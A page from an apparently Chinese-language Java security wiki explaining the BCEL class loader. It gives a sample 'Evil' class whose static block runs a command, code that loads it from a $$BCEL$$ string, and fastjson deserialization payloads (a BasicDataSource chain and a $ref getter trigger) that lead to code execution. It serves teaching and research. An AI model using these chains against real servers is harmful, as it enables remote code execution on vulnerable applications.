Java
  • About This Book
  • 🍖Prerequisites
    • 反射
      • 反射基本使用
      • 高版本JDK反射绕过
      • 反射调用命令执行
      • 反射构造HashMap
      • 方法句柄
    • 类加载
      • 动态加载字节码
      • 双亲委派模型
      • BCEL
      • SPI
    • RMI & JNDI
      • RPC Intro
      • RMI
      • JEP 290
      • JNDI
    • Misc
      • Unsafe
      • 代理模式
      • JMX
      • JDWP
      • JPDA
      • JVMTI
      • JNA
      • Java Security Manager
  • 👻Serial Journey
    • URLDNS
    • SerialVersionUID
    • Commons Collection 🥏
      • CC1-TransformedMap
      • CC1-LazyMap
      • CC6
      • CC3
      • CC2
    • FastJson 🪁
      • FastJson-Basic Usage
      • FastJson-TemplatesImpl
      • FastJson-JdbcRowSetImpl
      • FastJson-BasicDataSource
      • FastJson-ByPass
      • FastJson与原生反序列化(一)
      • FastJson与原生反序列化(二)
      • Jackson的原生反序列化利用
    • Other Components
      • SnakeYaml
      • C3P0
      • AspectJWeaver
      • Rome
      • Spring
      • Hessian
      • Hessian_Only_JDK
      • Kryo
      • Dubbo
  • 🌵RASP
    • JavaAgent
    • JVM
    • ByteCode
    • JNI
    • ASM 🪡
      • ASM Intro
      • Class Generation
      • Class Transformation
    • Rasp防御命令执行
    • OpenRASP
  • 🐎Memory Shell
    • Tomcat-Architecture
    • Servlet API
      • Listener
      • Filter
      • Servlet
    • Tomcat-Middlewares
      • Tomcat-Valve
      • Tomcat-Executor
      • Tomcat-Upgrade
    • Agent MemShell
    • WebSocket
    • 内存马查杀
    • IDEA本地调试Tomcat
  • ✂️JDBC Attack
    • MySQL JDBC Attack
    • H2 JDBC Attack
  • 🎨Templates
    • FreeMarker
    • Thymeleaf
    • Enjoy
  • 🎏MessageQueue
    • ActiveMQ CNVD-2023-69477
    • AMQP CVE-2023-34050
    • Spring-Kafka CVE-2023-34040
    • RocketMQ CVE-2023-33246
  • 🛡️Shiro
    • Shiro Intro
    • Request URI ByPass
    • Context Path ByPass
    • Remember Me反序列化 CC-Shiro
    • CB1与无CC依赖的反序列化链
  • 🍺Others
    • Deserialization Twice
    • A New Blazer 4 getter RCE
    • Apache Commons Jxpath
    • El Attack
    • Spel Attack
    • C3P0原生反序列化的JNDI打法
    • Log4j
    • Echo Tech
      • SpringBoot Under Tomcat
    • CTF 🚩
      • 长城杯-b4bycoffee (ROME反序列化)
      • MTCTF2022(CB+Shiro绕过)
      • CISCN 2023 西南赛区半决赛 (Hessian原生JDK+Kryo反序列化)
      • CISCN 2023 初赛 (高版本Commons Collections下其他依赖的利用)
      • CISCN 2021 总决赛 ezj4va (AspectJWeaver写字节码文件到classpath)
      • D^3CTF2023 (新的getter+高版本JNDI不出网+Hessian异常toString)
      • WMCTF2023(CC链花式玩法+盲读文件)
      • 第六届安洵杯网络安全挑战赛(CB PriorityQueue替代+Postgresql JDBC Attack+FreeMarker)
  • 🔍Code Inspector
    • CodeQL 🧶
      • Tutorial
        • Intro
        • Module
        • Predicate
        • Query
        • Type
      • CodeQL 4 Java
        • Basics
        • DFA
        • Example
    • SootUp ✨
      • Intro
      • Jimple
      • DFA
      • CG
    • Tabby 🔦
      • install
    • Theory
      • Static Analysis
        • Intro
        • IR & CFG
        • DFA
        • DFA-Foundation
        • Interprocedural Analysis
        • Pointer Analysis
        • Pointer Analysis Foundation
        • PTA-Context Sensitivity
        • Taint Anlysis
        • Datalog
Powered by GitBook
On this page
  • 0x01 What Is BCEL
  • 0x02 Best Practice
  • 0x03 BCEL + fastjson

Was this helpful?

  1. 🍖Prerequisites
  2. 类加载

BCEL

0x01 What Is BCEL

BCEL(Byte Code Engineering Library)的全名是Apache Commons BCEL,属于Apache Commons项目下的一个子项目,BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。相较Commons Collections,BCEL被包含在原生JDK中,更容易被利用。

BCEL Classloader在 JDK < 8u251之前是在rt.jar里面,后被移除

com.sun.org.apache.bcel.internal.util.ClassLoader重写了Java内置的ClassLoader#loadClass()方法,会判断传入的字符串是否是$$BCEL$$开头,如果是的话,将会对这个字符串进行decode。可以理解为是传统字节码的HEX编码,再将反斜线替换成$。默认情况下外层还会加一层GZip压缩。

0x02 Best Practice

编写恶意类

public class Evil {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {}
    }
}

测试:

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

public class Test {
    public static void main(String[] args) throws Exception {
        JavaClass javaClass = Repository.lookupClass(Evil.class);
        String encode = Utility.encode(javaClass.getBytes(), true);
        System.out.println(encode);
        // Class.forName("$$BCEL$$" + encode, true, new ClassLoader());
        new ClassLoader().loadClass("$$BCEL$$" + encode).newInstance();
    }
}
  • Repository用于将一个Java Class先转换成原生字节码

  • Utility用于将原生的字节码转换成BCEL格式的字节码

我们知道一般的类加载器loadClass是传入的全限定类名,它会调用findClass根据其设定的搜索URL去找这个字节码文件,读取后再调用defineClass加载进来。

而对于这个类加载器,我们是直接将编码后的字节码传入loadClass,从利用上来说就不需要远程加载或者文件落地了。

0x03 BCEL + fastjson

fastjson网传的三条利用链如下:

  • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

  • com.sun.rowset.JdbcRowSetImpl

  • org.apache.tomcat.dbcp.dbcp2.BasicDataSource

  1. 常规的Java字节码的执行,但是需要开启Feature.SupportNonPublicField,较鸡肋

  2. 利用JNDI注入,但需要服务器出网

  3. 不用出网也不用开启Feature.SupportNonPublicField,但对JDK版本有限制

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-dbcp</artifactId>
    <version>8.5.45</version>
</dependency>
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.23</version>
</dependency>

调用链getConnection()->createDataSource()->createConnectionFactory()->createDriver()

Class.forName第二个参数initial为true时,类加载后将会直接执行static{}块中的代码。

driverClassLoader和driverClassName都可以通过fastjson控制

{

​ {

​ "aaa": {

​ "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",

​ "driverClassLoader": {

​ "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"

​ },

​ "driverClassName": "$$BCEL$$$l$8b$I$A$..."

​ }

​ }: "bbb"

}

实际上面的getConnection不满足fastjson对自动调用getter的要求

满足条件的getter

  • 函数名长度大于等于4

  • 非静态方法

  • 以get开头且第4个字母为大写

  • 无参数

  • 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger

在{"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource"……} 这一整段外面再套一层{},这样的话会把这个整体当做一个JSONObject,会把这个当做key,值为bbb

将这个 JSONObject 放在 JSON Key 的位置上,在 JSON 反序列化的时候,FastJson 会对 JSON Key 自动调用 toString() 方法(因为key一定要是String类型)

而且JSONObject是Map的子类,当调用toString的时候,会依次调用该类的getter方法获取值。所以会调用到getConnection方法

当fastjson>=1.2.36的时候,可以使用$ref方式调用getter

ref是fastjson特有的JSONPath语法,用来引用之前出现的对象

public class test {
    private String cmd;

    public void setCmd(String cmd) {
        System.out.println("seter call");
        this.cmd = cmd;
    }

    public String getCmd() throws IOException {
        System.out.println("geter call");
        Runtime.getRuntime().exec(cmd);
        return cmd;
    }
}
public class ref_fastjson {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "[{\"@type\":\"com.demo.fastjson.test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].cmd\"}]";
        JSON.parse(payload);
    }
}
Previous双亲委派模型NextSPI

Last updated 7 months ago

Was this helpful?

image-20230125194234991
image-20230125194956235
image-20230125201059313